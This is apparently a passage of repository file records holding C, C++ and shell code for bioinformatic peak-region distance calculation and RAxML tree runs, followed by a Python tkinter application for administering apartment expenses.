i;\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tfreeList(l[i]);\r\n\t}\r\n\tfree(l);\r\n}\r\n\r\nlong long createPeakRegions() {\r\n\tlong long countIR = 0;\r\n\tint i;\r\n\r\n\twhile(1) {\r\n\t\tlong long IRStart, IREnd, IREndOld;\r\n\t\tint IRChrno;\r\n\t\tlong long *localMaxs = calloc(NUM_OF_FILES, sizeof(long long));\r\n\t\tList **lists = initListOfLists();\r\n\r\n\t\tif(pointers[0] != NULL) {\r\n\t\t\tIRStart = pointers[0]->startPeak;\r\n\t\t\tIREnd = pointers[0]->endPeak;\r\n\t\t\tIRChrno = pointers[0]->chrno;\r\n\t\t} else {\r\n\t\t\tIRStart = LONG_MAX;\r\n\t\t\tIREnd = LONG_MAX;\r\n\t\t\tIRChrno = INT_MAX;\r\n\t\t}\r\n\r\n\t\tfor(i = 1; i < NUM_OF_FILES; i++) {\r\n\t\t\tif(pointers[i] != NULL && ((IRStart > pointers[i]->startPeak && pointers[i]->chrno == IRChrno) || (pointers[i]->chrno < IRChrno))) {\r\n\t\t\t\tIRStart = pointers[i]->startPeak;\r\n\t\t\t\tIREnd = pointers[i]->endPeak;\r\n\t\t\t\tIRChrno = pointers[i]->chrno;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tIREndOld = -1;\r\n\t\twhile(IREnd != IREndOld) {\r\n\t\t\tlong long max;\r\n\t\t\tIREndOld = IREnd;\r\n\r\n\t\t\tomp_set_num_threads(NUM_OF_CORES);\r\n\t\t\t#pragma omp parallel for schedule(static, 1)\r\n\t\t\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\t\t\twhile(pointers[i] != NULL && IRChrno == pointers[i]->chrno && ((IRStart <= pointers[i]->startPeak && IREnd >= pointers[i]->startPeak) || (IRStart <= pointers[i]->endPeak && IREnd >= pointers[i]->endPeak) || (IRStart >= pointers[i]->startPeak && IREnd <= pointers[i]->endPeak))) {\r\n\t\t\t\t\tElem *newElem = malloc(sizeof(Elem));\r\n\t\t\t\t\tnewElem->startPeak = pointers[i]->startPeak;\r\n\t\t\t\t\tnewElem->endPeak = pointers[i]->endPeak;\r\n\t\t\t\t\tnewElem->next = NULL;\r\n\t\t\t\t\taddElemToList(lists[i], newElem);\r\n\r\n\t\t\t\t\tif(localMaxs[i] < newElem->endPeak) {\r\n\t\t\t\t\t\tlocalMaxs[i] = newElem->endPeak;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tpointers[i] = pointers[i]->next;\r\n\t\t\t\t}\r\n\r\n\t\t\t\twhile(pointers[i] != NULL && IRChrno == pointers[i]->chrno && IRStart > pointers[i]->startPeak && IRStart > pointers[i]->endPeak) {\r\n\t\t\t\t\tpointers[i] = pointers[i]->next;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tmax = 0;\r\n\t\t\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\t\t\tif(max < localMaxs[i]) {\r\n\t\t\t\t\tmax = localMaxs[i];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tIREnd = max;\r\n\t\t}\r\n\r\n\t\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\t\tif(lists[i]->head != NULL) {\r\n\t\t\t\tpeakRegion[i][countIR] = 1;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tcountIR++;\r\n\t\tfree(localMaxs);\r\n\t\tfreeListOfLists(lists);\r\n\r\n\t\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\t\tif(pointers[i] != NULL) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif(i == NUM_OF_FILES) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\treturn countIR;\r\n}\r\n\r\nvoid writePeakRegions() {\r\n\tint i;\r\n\tlong long j;\r\n\tFILE *fp = fopen(\"overlap_datarepresentation_interesting_regions_c.txt\", \"w\");\r\n\tfprintf(fp, \"%d \", NUM_OF_FILES);\r\n\tfprintf(fp, \" %d \", peakRegionSize);\r\n\tfprintf(fp, \"\\n\");\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tfor(j = 0; j < peakRegionSize; j++) {\r\n\t\t\tfprintf(fp, \"%d \", peakRegion[i][j]);\r\n\t\t}\r\n\t\tfprintf(fp, \"\\n\");\r\n\t}\r\n\tfclose(fp);\r\n}\r\n\r\nvoid calcDistances() {\r\n\tint i, j;\r\n\tlong long k;\r\n\tlong dist;\r\n\r\n\tomp_set_num_threads(NUM_OF_CORES);\r\n\tfor(i = 0; i < NUM_OF_FILES - 1; i++) {\r\n\t\tfor(j = i + 1; j < NUM_OF_FILES; j++) {\r\n\t\t\tdist = 0;\r\n\t\t\t#pragma omp parallel for schedule(static, 100) reduction(+: dist)\r\n\t\t\tfor(k = 0; k < peakRegionSize; k++) {\r\n\t\t\t\tdist += abs(peakRegion[i][k] - peakRegion[j][k]);\r\n\t\t\t}\r\n\t\t\tdistMatrix[i][j] = dist;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid writeDistMatrix() {\r\n\tint i, j;\r\n\tFILE *fp = fopen(RES_FILE, \"w\");\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tfor(j = 0; j < NUM_OF_FILES; j++) {\r\n\t\t\tfprintf(fp, \"%lld \", distMatrix[j][i]);\r\n\t\t}\r\n\t\tfprintf(fp, \"\\n\");\r\n\t}\r\n\tfclose(fp);\r\n}\r\n\r\nvoid freeMem() {\r\n\tint i;\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tfree(fileNames[i]);\r\n\t\tfreeList(pdata[i]);\r\n\t\tfree(peakRegion[i]);\r\n\t\tfree(distMatrix[i]);\r\n\t}\r\n\r\n\tfree(skipChrLengths);\r\n\tfree(fileNames);\r\n\tfree(pdata);\r\n\tfree(peakRegion);\r\n\tfree(pointers);\r\n\tfree(distMatrix);\r\n}\r\n\r\nint main(int argc, char *argv[]) {\r\n if (argc==2) {\r\n\tNUM_OF_FILES = atoi(argv[1]);\r\n\r\n\tinitSkipChrLengths();\r\n\tinitFilenames();\r\n\tinitListsAndMatrices();\r\n\tprintf(\"init done\\n\"); fflush(stdout);\r\n\r\n\tcreatePeaks();\r\n\tprintf(\"peaks created\\n\"); fflush(stdout);\r\n\r\n\tpeakRegionSize = createPeakRegions();\r\n\tprintf(\"peak regions created\\n\"); fflush(stdout);\r\n\r\n\tcalcDistances();\r\n\tprintf(\"distances calculated\\n\"); fflush(stdout);\r\n\r\n\twriteDistMatrix();\r\n\twritePeakRegions();\r\n\tfreeMem();\r\n }\r\n else {\r\n printf(\"\\nNeed to give total number of input bed files as an argument\\n\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.670412003993988, "alphanum_fraction": 0.7490636706352234, "avg_line_length": 23.18181800842285, "blob_id": "d57978bf092bc1918b425bfff77cdfd5100e3662", "content_id": "a54233c6d75128377763b881bc6ba7b6d59000c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 267, "license_type": "no_license", "max_line_length": 81, "num_lines": 11, "path": "/RAxML_MLQA_ML.sh", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#!/bin/bash\nchmod 777 raxmlHPC\nraxmlHPC -m BINGAMMA\n\n#for MLQA approach\nraxmlHPC -m BINGAMMA -s overlap_datarepresentation_2.phy -f q -p 12345 -n h3k36_2\n\n#for ML based approach\n raxmlHPC -m BINGAMMA -s overlap_datarepresentation_2.phy -p 1234 -n July1 -N 5\n\nexit 0\n\n" }, { "alpha_fraction": 0.6974790096282959, "alphanum_fraction": 0.7394958138465881, "avg_line_length": 16.799999237060547, "blob_id": "94b2491b4dfda333abda7e37c3b745bbe6223e7b", "content_id": "19ff1e6f2eb158f4fcaa3e37e38dcf2c5817630d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 357, "license_type": "no_license", "max_line_length": 62, "num_lines": 20, "path": "/script.sh", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nchmod 777 raxmlHPC\nraxmlHPC -m BINGAMMA\nfor number in {1..7315}\ndo\nfilename='Quert'\nextension='.phy'\nfinalname=$filename$number$extension\ndate='July5'\noutputname=$date$number\nraxmlHPC -m BINGAMMA -s $finalname -p 1234 -n $outputname -N 5\necho $finalname\necho $outputname\nrm RAxML_result.*\nrm RAxML_log.*\nrm RAxML_info.*\nrm *.RUN.*\ndone\nexit 0\n\n" }, { "alpha_fraction": 0.5731343030929565, "alphanum_fraction": 0.5910447835922241, "avg_line_length": 14.227272987365723, "blob_id": "99cf62e7479955f3188624565b29bf4232c567dd", "content_id": "377a3a0df97592e711212577ee4c33e9b688e2b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 670, "license_type": "no_license", "max_line_length": 36, "num_lines": 44, "path": "/mapping.cpp", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#include <iostream>\nusing namespace std;\n#include <string>\n#include <sstream>\n#include <fstream>\n#include <time.h>\n#include <cstdlib>\n#include <cstdlib>\n#include <exception>\n#include <stdexcept>\n#include <cmath>\n\nint main(int argc, char *argv[])\n{\n\tstring s, name;\n\tchar buffer[200];\t\n\tfreopen(argv[1],\"r\", stdin);\n\tcin>>s;\n\tfreopen(argv[2],\"w\", stdout);\n\t\n\tint i = 0,j, start = 0,len, length;\n\tj = s.find(',');\n\twhile(j>0)\n\t{\t\n\t\tlen = j - start;\n\t\tlength=s.copy(buffer,len,start);\n\t\tbuffer[length]='\\0';\n\t\tname.assign(buffer);\n\t\t\n\t\tcout<<i<<\" \"<<name<<endl;\n\t\ti++;\n\t\n\t\ts.assign(s.replace(0,j+1,\"\"));\n\n\t\tj = s.find(',');\n\n\t}\n\tcout<<i<<\" \"<<s<<endl;\n\t\t\n\t \n\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.8571428656578064, "alphanum_fraction": 0.8571428656578064, "avg_line_length": 28, "blob_id": "1fe546169c1d5bd4225513dfb33266a501f34231", "content_id": "d81b4ecc276ff92be4703127bb78da4539a44bed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28, "license_type": "no_license", "max_line_length": 28, "num_lines": 1, "path": "/README.md", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "# cell-differentiation-trees" }, { "alpha_fraction": 0.5265210866928101, "alphanum_fraction": 0.5390015840530396, "avg_line_length": 19.40322494506836, "blob_id": "14c9f4ad8fd7d2fec830a50ae893ec7bb6ce64a3", "content_id": "d100ba613ffc3e36a31a68977d79722c6bfbd592", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1282, "license_type": "no_license", "max_line_length": 75, "num_lines": 62, "path": "/Serial.cpp", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#include<iostream>\n#include<fstream>\n#include<string>\n#include<vector>\n#include<sstream>\n#include <cstdlib>\r\n#include <algorithm>\nusing namespace std;\n\r\nstring removeSpaces(string str)\r\n{\r\n str.erase(remove(str.begin(), str.end(), ' '), str.end());\r\n return str;\r\n}\r\n\nvector<string> taxa_info;\nint taxa=-1;\r\nlong long sequence=0;\nlong long countt=1;\nint main()\n{\n string line;\n int quert=4;\n int counter=-1;\n char delim = ' ';\n int value;\r\n ofstream myfile1;\n myfile1.open (\"serial_h3k27ac_1.txt\");\n\n ifstream myfile (\"overlap_datarepresentation_interesting_regions_c.txt\");\n if (myfile.is_open())\n {\n while ( getline (myfile,line) )\n {\n\n counter++;\n if(counter==0)\n {\r\n line=line+\"\\n\";\n myfile1 << line;\n }\n else\n {\r\n //string strr=removeSpaces(line);;\r\n stringstream convert;\n convert << counter;\r\n //cout<<\"\\niny \"<<counter;\r\n string post;\n post = convert.str();\n string name=\"t\"+post+\" \";\n //cout<<name;\r\n line=name+line+\"\\n\";\r\n //if(counter==1)cout<<line;\r\n myfile1 << line;\n }\n }\n myfile.close();\n }\n else cout << \"Unable to open file\";\n\nmyfile1.close();\n}\n" } ]
9
seba40/FlatAdmin
https://github.com/seba40/FlatAdmin
793878545b581f7b7959eaa7b870c6a44b03847c
52b4a63b977834774a48f419e8cf31e67f87fd32
0292e589b9b005696883592ebc913c4d67d0fa8a
refs/heads/master
2021-05-11T02:02:18.996703
2018-01-22T23:01:46
2018-01-22T23:01:46
118,348,598
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6658799052238464, "alphanum_fraction": 0.6810035705566406, "avg_line_length": 26.022058486938477, "blob_id": "15887d13162ca39e7afa33260a1924848acd92a9", "content_id": "f3bcf65ffbbd92dcd0b99cef73a8501b9ff98842", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11441, "license_type": "no_license", "max_line_length": 127, "num_lines": 408, "path": "/Interface.py", "repo_name": "seba40/FlatAdmin", "src_encoding": "UTF-8", "text": "from tkinter import *\r\nfrom tkinter import ttk\r\nfrom Back.Operations import Ops\r\nimport Back.Operations as bk\r\nfrom Back.File import stream\r\nfrom tkinter.tix import ComboBox\r\n\r\nop=Ops()\r\nmain=Tk()\r\nf=stream()\r\nct=bk.ch1\r\ndef delete():\r\n filtrusuma.pack_forget()\r\n filtrutip.pack_forget()\r\n raptotap.pack_forget()\r\n rapsort.pack_forget()\r\n raptotal.pack_forget()\r\n cautdata.pack_forget()\r\n cauttip.pack_forget()\r\n cautsum.pack_forget()\r\n delch.pack_forget()\r\n delaps.pack_forget()\r\n delap.pack_forget()\r\n addframe.grid_forget()\r\n doneap.pack_forget()\r\n inputap.delete(0,'end')\r\n inputcautdata1.delete(0,'end')\r\n inputcautdata2.delete(0,'end')\r\n newframe.pack_forget()\r\n addframe.grid_forget()\r\n doneadd.grid_forget()\r\n\r\n\r\n \r\ndef printap():\r\n box.delete(0, last='end')\r\n for i in range(0,len(bk.ch['apartament'])):\r\n s=bk.ch['apartament'][i],bk.ch['apa'][i],bk.ch['canal'][i],bk.ch['incalzire'][i],bk.ch['gaz'][i],bk.ch['altele'][i]\r\n box.insert(i,s)\r\n scrolly.config( command = box.yview )\r\n scrollx.config( command = box.xview )\r\n \r\n \r\n \r\n box.pack() \r\ndef printcaut(x):\r\n ct=x\r\n box.delete(0, last='end')\r\n for i in range(0,len(ct)):\r\n box.insert(i,ct[i])\r\n \r\n scrolly.config( command = box.yview )\r\n scrollx.config( command = box.xview )\r\n\r\n box.pack()\r\n\r\n\r\ndef new():\r\n delete()\r\n textap.pack()\r\n inputap.pack()\r\n butap.pack()\r\n newframe.pack()\r\ndef add():\r\n delete()\r\n inputadd_ap.delete(0,'end')\r\n inputadd_ch.delete(0,'end')\r\n inputadd_vl.delete(0,'end')\r\n inputadd_dt.delete(0,'end')\r\n textadd_ap.grid(row=1,column=1)\r\n textadd_ch.grid(row=2,column=1)\r\n textadd_dt.grid(row=4,column=1)\r\n textadd_vl.grid(row=3,column=1)\r\n \r\n \r\n inputadd_ap.grid(row=1,column=3)\r\n inputadd_ch.grid(row=2,column=3)\r\n inputadd_vl.grid(row=3,column=3)\r\n inputadd_dt.grid(row=4,column=3)\r\n buttonadd.grid(row=5,column=2)\r\n addframe.grid()\r\ndef delap1():\r\n delete()\r\n textdelap.pack()\r\n inputdelap.pack()\r\n buttondelap.pack()\r\n delap.pack()\r\ndef delaps1():\r\n delete()\r\n textdelaps1.pack()\r\n inputdelaps1.pack()\r\n textdelaps2.pack()\r\n inputdelaps2.pack()\r\n buttondelaps.pack()\r\n delaps.pack()\r\ndef delch1():\r\n delete()\r\n textdelch1.pack()\r\n inputdelch1.pack()\r\n textdelch2.pack()\r\n inputdelch2.pack()\r\n buttondelch.pack()\r\n delch.pack()\r\n \r\ndef cautsum1():\r\n delete()\r\n textcautsum.pack()\r\n inputcautsum.pack()\r\n buttoncautsum.pack()\r\n cautsum.pack()\r\ndef cauttip1():\r\n delete()\r\n textcauttip.pack()\r\n inputcauttip.pack()\r\n buttoncauttip.pack()\r\n cauttip.pack()\r\ndef cautdata1():\r\n delete()\r\n textcautdata1.pack()\r\n inputcautdata1.pack()\r\n textcautdata2.pack()\r\n inputcautdata2.pack()\r\n buttoncautdata.pack()\r\n cautdata.pack()\r\ndef raptotal1():\r\n delete()\r\n textraptotal.pack()\r\n inputraptotal.pack()\r\n buttonraptotal.pack()\r\n raptotal.pack()\r\ndef rapsort1():\r\n delete()\r\n textrapsort.pack()\r\n inputrapsort.pack()\r\n buttonrapsort.pack()\r\n rapsort.pack()\r\ndef raptotap1():\r\n delete()\r\n textraptotap.pack()\r\n inputraptotap.pack()\r\n buttonraptotap.pack()\r\n raptotap.pack()\r\ndef filtrutip1():\r\n delete()\r\n textfiltrutip.pack()\r\n inputfiltrutip.pack()\r\n buttonfiltrutip.pack()\r\n filtrutip.pack()\r\ndef filtrusuma1():\r\n delete()\r\n textfiltrusuma.pack()\r\n inputfiltrusuma.pack()\r\n buttonfiltrusuma.pack()\r\n filtrusuma.pack() \r\ndef inputnr():\r\n bk.ch = {'apartament':[],'apa':[],'canal':[],\r\n 'incalzire':[],'gaz':[],'altele':[]}\r\n n=int(inputap.get())\r\n op.optiune1(n)\r\n doneap.pack()\r\n scrolly.pack(side=RIGHT,fill=Y)\r\n scrollx.pack(side=BOTTOM,fill=X)\r\n option.entryconfig(0,state=NORMAL)\r\n option.entryconfig(1,state=NORMAL)\r\n option.entryconfig(2,state=NORMAL)\r\n option.entryconfig(3,state=NORMAL)\r\n option.entryconfig(4,state=NORMAL)\r\n inputadd_ap.config(from_=1, to=len(bk.ch['apartament']))\r\n inputdelap.config(from_=1, to=len(bk.ch['apartament']))\r\n inputdelaps1.config(from_=1, to=len(bk.ch['apartament']))\r\n inputdelaps2.config(from_=1, to=len(bk.ch['apartament']))\r\n inputdelch1.config(from_=1, to=len(bk.ch['apartament']))\r\n inputraptotap.config(from_=1, to=len(bk.ch['apartament']))\r\n op.reg()\r\n printap()\r\n \r\n\r\n \r\ndef inputadd():\r\n doneadd.grid_forget()\r\n ap=int(inputadd_ap.get())\r\n opt=inputadd_ch.get()\r\n val=int(inputadd_vl.get())\r\n datestr=inputadd_dt.get()\r\n op.optiune2(ap, opt, val, datestr)\r\n doneadd.grid(row=6,column=2)\r\n op.reg()\r\n printap()\r\n \r\ndef inputdelap1():\r\n ap=int(inputdelap.get())\r\n op.optiune3(1,ap,0,0,0)\r\n op.reg()\r\n printap()\r\n \r\ndef inputdelaps():\r\n ap1=int(inputdelaps1.get())\r\n ap2=int(inputdelaps2.get())\r\n op.optiune3(2,0,ap1,ap2,0)\r\n op.reg()\r\n printap()\r\n \r\ndef inputdelch():\r\n ap=int(inputdelch1.get())\r\n opt=inputdelch2.get()\r\n op.optiune3(3,ap,0,0,opt)\r\n op.reg()\r\n printap()\r\n \r\n\r\n\r\ndef inputcautsum1():\r\n n=int(inputcautsum.get())\r\n op.optiune4(1,n,0)\r\n printcaut(bk.ch1)\r\n \r\ndef inputcauttip1():\r\n n=inputcauttip.get()\r\n op.optiune4(2,n,0)\r\n printcaut(bk.ch2)\r\ndef inputcautdata():\r\n n=int(inputcautdata1.get())\r\n datastr=inputcautdata2.get()\r\n op.optiune4(3,n,datastr)\r\n printcaut(bk.ch3)\r\ndef inputraptotal1():\r\n n=inputraptotal.get()\r\n op.optiune5(1,n)\r\n printcaut(bk.chrap)\r\ndef inputrapsort1():\r\n n=inputrapsort.get()\r\n op.optiune5(2,n)\r\n printcaut(bk.chrap)\r\ndef inputraptotap1():\r\n n=int(inputraptotap.get())\r\n op.optiune5(3,n)\r\n printcaut(bk.chrap)\r\ndef inputfiltrutip1():\r\n n=inputfiltrutip.get()\r\n op.optiune6(1,n)\r\n op.reg()\r\n printap()\r\n \r\ndef inputfiltrusuma1():\r\n n=int(inputfiltrusuma.get())\r\n op.optiune6(2,n)\r\n op.reg()\r\n printap()\r\n \r\ndef undo():\r\n op.und()\r\n printap()\r\ndef sv():\r\n f.save()\r\ndef ld():\r\n f.load()\r\n printap()\r\n#INITIALIZATION\r\n\r\nmain.geometry('330x200')\r\nmain.title('Program de Administrare')\r\n\r\n#NEW FRAME\r\nnewframe = Frame(main)\r\ntextap=Label(newframe,text='Numar de apartamente')\r\ndoneap=Label(newframe,text='Registrul a fost creat !')\r\ninputap=Entry(newframe)\r\nbutap=Button(newframe,text='SET',command=inputnr)\r\n\r\n#ADD FRAME\r\naddframe=Frame(main)\r\ntextadd_ap =Label(addframe,text='Numarul apartamentului')\r\ntextadd_ch=Label(addframe,text='Numele cheltuielii')\r\ntextadd_vl=Label(addframe,text='Valoarea cheltuielii')\r\ntextadd_dt=Label(addframe,text='Data cheltuielii')\r\ninputadd_ap=Spinbox(addframe)\r\ninputadd_ch=ttk.Combobox(addframe)\r\ninputadd_vl=Entry(addframe)\r\ninputadd_dt=Entry(addframe)\r\n \r\nchstr=['apa','canal','incalzire','gaz','altele'] \r\ninputadd_ch['values']=chstr\r\n\r\n\r\n\r\nbuttonadd=Button(addframe,text='OK',command=inputadd)\r\ndoneadd=Label(addframe,text='✓')\r\n# DEL AP FRAME\r\n\r\ndelap=Frame(main)\r\ntextdelap = Label(delap,text='Numarul Apartamentului')\r\ninputdelap = Spinbox(delap)\r\nbuttondelap= Button(delap,text='STERGE',command=inputdelap1)\r\n# DEL APS FRAME\r\ndelaps=Frame(main)\r\ntextdelaps1= Label(delaps,text='Numarul primului apartament')\r\ninputdelaps1 = Spinbox(delaps)\r\ntextdelaps2= Label(delaps,text='Numarul celui de-al doilea apartament')\r\ninputdelaps2 = Spinbox(delaps)\r\nbuttondelaps= Button(delaps,text='STERGE',command=inputdelaps)\r\n#DEL AP CH FRAME\r\ndelch=Frame(main)\r\ntextdelch1 = Label(delch,text='Numarul Apartamentului')\r\ntextdelch2= Label(delch,text='Tipul Cheltuielii')\r\ninputdelch1 = Spinbox(delch)\r\ninputdelch2=ttk.Combobox(delch)\r\ninputdelch2['values']=chstr\r\nbuttondelch= Button(delch,text='STERGE',command=inputdelch)\r\n# Cautare > Suma FRAME\r\n\r\ncautsum=Frame(main)\r\ntextcautsum=Label(cautsum,text='Suma')\r\ninputcautsum=Entry(cautsum)\r\nbuttoncautsum=Button(cautsum,text='CAUTA',command=inputcautsum1)\r\n# Cautare Tip\r\ncauttip=Frame(main)\r\ntextcauttip=Label(cauttip,text='Tipul Cheltuielii')\r\ninputcauttip=ttk.Combobox(cauttip)\r\ninputcauttip['values']=chstr\r\nbuttoncauttip=Button(cauttip,text='CAUTA',command=inputcauttip1)\r\n# Cautare data\r\ncautdata=Frame(main)\r\ntextcautdata1=Label(cautdata,text='Suma')\r\ntextcautdata2=Label(cautdata,text='Data Cheltuielii')\r\ninputcautdata1=Entry(cautdata)\r\ninputcautdata2=Entry(cautdata)\r\nbuttoncautdata=Button(cautdata,text='CAUTA',command=inputcautdata)\r\n# Raport total\r\nraptotal=Frame(main)\r\ntextraptotal=Label(raptotal,text='Tipul Cheltuielii')\r\ninputraptotal=ttk.Combobox(raptotal)\r\ninputraptotal['values']=chstr\r\nbuttonraptotal=Button(raptotal,text='OK',command=inputraptotal1)\r\n# Raport sortare\r\nrapsort=Frame(main)\r\ntextrapsort=Label(rapsort,text='Tipul Cheltuielii')\r\ninputrapsort=ttk.Combobox(rapsort)\r\ninputrapsort['values']=chstr\r\nbuttonrapsort=Button(rapsort,text='OK',command=inputrapsort1)\r\n#Raport total ap\r\nraptotap=Frame(main)\r\ntextraptotap=Label(raptotap,text='Numarul Apartamentului')\r\ninputraptotap=Spinbox(raptotap)\r\nbuttonraptotap=Button(raptotap,text='OK',command=inputraptotap1)\r\n# Filtru tip\r\nfiltrutip=Frame(main)\r\ntextfiltrutip=Label(filtrutip,text= 'Tipul Cheltuielii')\r\ninputfiltrutip=ttk.Combobox(filtrutip)\r\ninputfiltrutip['values']=chstr\r\nbuttonfiltrutip=Button(filtrutip,text='OK',command=inputfiltrutip1)\r\n#Filtru suma\r\nfiltrusuma=Frame(main)\r\ntextfiltrusuma=Label(filtrusuma,text= 'Suma')\r\ninputfiltrusuma=Entry(filtrusuma)\r\nbuttonfiltrusuma=Button(filtrusuma,text='OK',command=inputfiltrusuma1)\r\n#MENU CONSTR\r\n\r\nmeniu=Menu(main)\r\n\r\nfile=Menu(meniu,tearoff=0)\r\nfile.add_command(label='New',command=new)\r\nfile.add_command(label='Save',command=sv)\r\nfile.add_command(label='Load',command=ld)\r\nfile.add_command(label='Exit',command=exit)\r\n\r\noption=Menu(main,tearoff=0)\r\n\r\nsterg=Menu(option,tearoff=0)\r\nsterg.add_command(label='Cheltuieli apartament',command=delap1)\r\nsterg.add_command(label='Cheltuieli serie de ap.',command=delaps1)\r\nsterg.add_command(label='Anumita cheltuiala',command=delch1)\r\n\r\ncaut=Menu(main,tearoff=0)\r\ncaut.add_command(label='Cheltuieli > Suma',command=cautsum1)\r\ncaut.add_command(label='Anumit tip',command=cauttip1)\r\ncaut.add_command(label='Cheltuieli inainte de data',command=cautdata1)\r\n\r\nraport=Menu(main,tearoff=0)\r\nraport.add_command(label='Suma totala : Cheltuiala',command=raptotal1)\r\nraport.add_command(label='Sortare ap. dupa cheltuiala',command=rapsort1)\r\nraport.add_command(label='Totalul pentru apartament',command=raptotap1)\r\n\r\nfiltru=Menu(main,tearoff=0)\r\nfiltru.add_command(label='Tip cheltuiala',command=filtrutip1)\r\nfiltru.add_command(label='Cheltuieli < Suma',command=filtrusuma1)\r\n\r\n\r\noption.add_command(label='Adaugare/Schimbare',command=add,state=DISABLED)\r\n\r\nmeniu.add_cascade(label='File',menu=file)\r\nmeniu.add_cascade(label='Options',menu=option)\r\noption.add_cascade(label='Stergere',menu=sterg,state=DISABLED)\r\noption.add_cascade(label='Cautare',menu=caut,state=DISABLED)\r\noption.add_cascade(label='Raport',menu=raport,state=DISABLED)\r\noption.add_cascade(label='Filtru',menu=filtru,state=DISABLED)\r\nmeniu.add_command(label='Undo',command=undo)\r\nmain.config(menu=meniu)\r\n\r\n\r\n# OUTPUT WINDOW\r\noutput=Toplevel()\r\nscrollx=Scrollbar(output,orient=HORIZONTAL)\r\nscrolly=Scrollbar(output)\r\nbox=Listbox(output,width=50,height=10,yscrollcommand = scrolly.set,xscrollcommand = scrollx.set)\r\n\r\n#MAIN LOOP\r\noutput.mainloop()\r\nmain.mainloop()\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.39579349756240845, "alphanum_fraction": 0.4015296399593353, "avg_line_length": 23.63157844543457, "blob_id": "58adc688e0b14ab3a0f65ac218b24cd9ebfb79c2", "content_id": "fb336fcb95c7a4b74afb257f1cae129ac25e0641", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 523, "license_type": "no_license", "max_line_length": 67, "num_lines": 19, "path": "/File.py", "repo_name": "seba40/FlatAdmin", "src_encoding": "UTF-8", "text": "import Back.Operations as bk\r\nimport io\r\nimport os\r\n\r\n\r\n\r\nclass stream():\r\n def save(self):\r\n path=os.path.abspath(\"file.ap\") \r\n f=open(path, 'w')\r\n chstr=['apa','canal','incalzire','gaz','altele']\r\n \r\n for i in range(0,len(bk.ch['apartament'])):\r\n for j in chstr:\r\n \r\n s=str(str(bk.ch[j][i][0])+\" \" +str(bk.ch[j][i][1]))\r\n f.write(s+\" \")\r\n f.write(\"\\n\")\r\n f.flush()\r\n \r\n \r\n " }, { "alpha_fraction": 0.36650484800338745, "alphanum_fraction": 0.3899676501750946, "avg_line_length": 30.87837791442871, "blob_id": "e94a3d172ef871d47e1151445bf9938292f3d38d", "content_id": "ae3af0da11721c64a1e9424b812035bf418f6bfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4944, "license_type": "no_license", "max_line_length": 144, "num_lines": 148, "path": "/Operations.py", "repo_name": "seba40/FlatAdmin", "src_encoding": "UTF-8", "text": "from datetime import datetime as dt\r\nimport datetime\r\nimport copy\r\nch = {'apartament':[],'apa':[],'canal':[],\r\n 'incalzire':[],'gaz':[],'altele':[]}\r\nch1=[]\r\nch2=[]\r\nch3=[]\r\nchrap=[]\r\nbackup=[]\r\ndef sortare(list,opt):\r\n for i in range(0,len(list)-1):\r\n for j in range(i+1,len(list)):\r\n if (ch[opt][i][0]>ch[opt][j][0]):\r\n aux=list[i]\r\n list[i]=list[j]\r\n list[j]=aux\r\nclass Ops:\r\n\r\n def reg(self):\r\n global ch\r\n global backup\r\n backup.append(copy.deepcopy(ch))\r\n if len(backup) > 10:\r\n backup.pop(0)\r\n\r\n def optiune1(self,n):\r\n #setare numar apartamente\r\n global ch\r\n \r\n \r\n\r\n \r\n for i in range(0,n):\r\n ch['apartament'].append(i+1)\r\n ch['apa'].append([0,0])\r\n ch['canal'].append([0,0])\r\n ch['incalzire'].append([0,0])\r\n ch['gaz'].append([0,0])\r\n ch['altele'].append([0,0])\r\n \r\n \r\n \r\n def optiune2(self,ap,opt,val,datastr):\r\n #adaugare\r\n global ch\r\n zi,luna,an=map(int,datastr.split('.'))\r\n data =datetime.date(an,luna,zi)\r\n ch[opt][ap-1] = [val,data]\r\n \r\n def optiune3(self,index,ap,i,j,opt):\r\n #stergere\r\n global ch\r\n if (index ==1):\r\n ch['apa'][ap-1] = [0,0]\r\n ch['canal'][ap-1] = [0,0]\r\n ch['incalzire'][ap-1] = [0,0]\r\n ch['gaz'][ap-1] = [0,0]\r\n ch['altele'][ap-1] = [0,0]\r\n \r\n if (index ==2):\r\n \r\n for x in range(i,j+1):\r\n 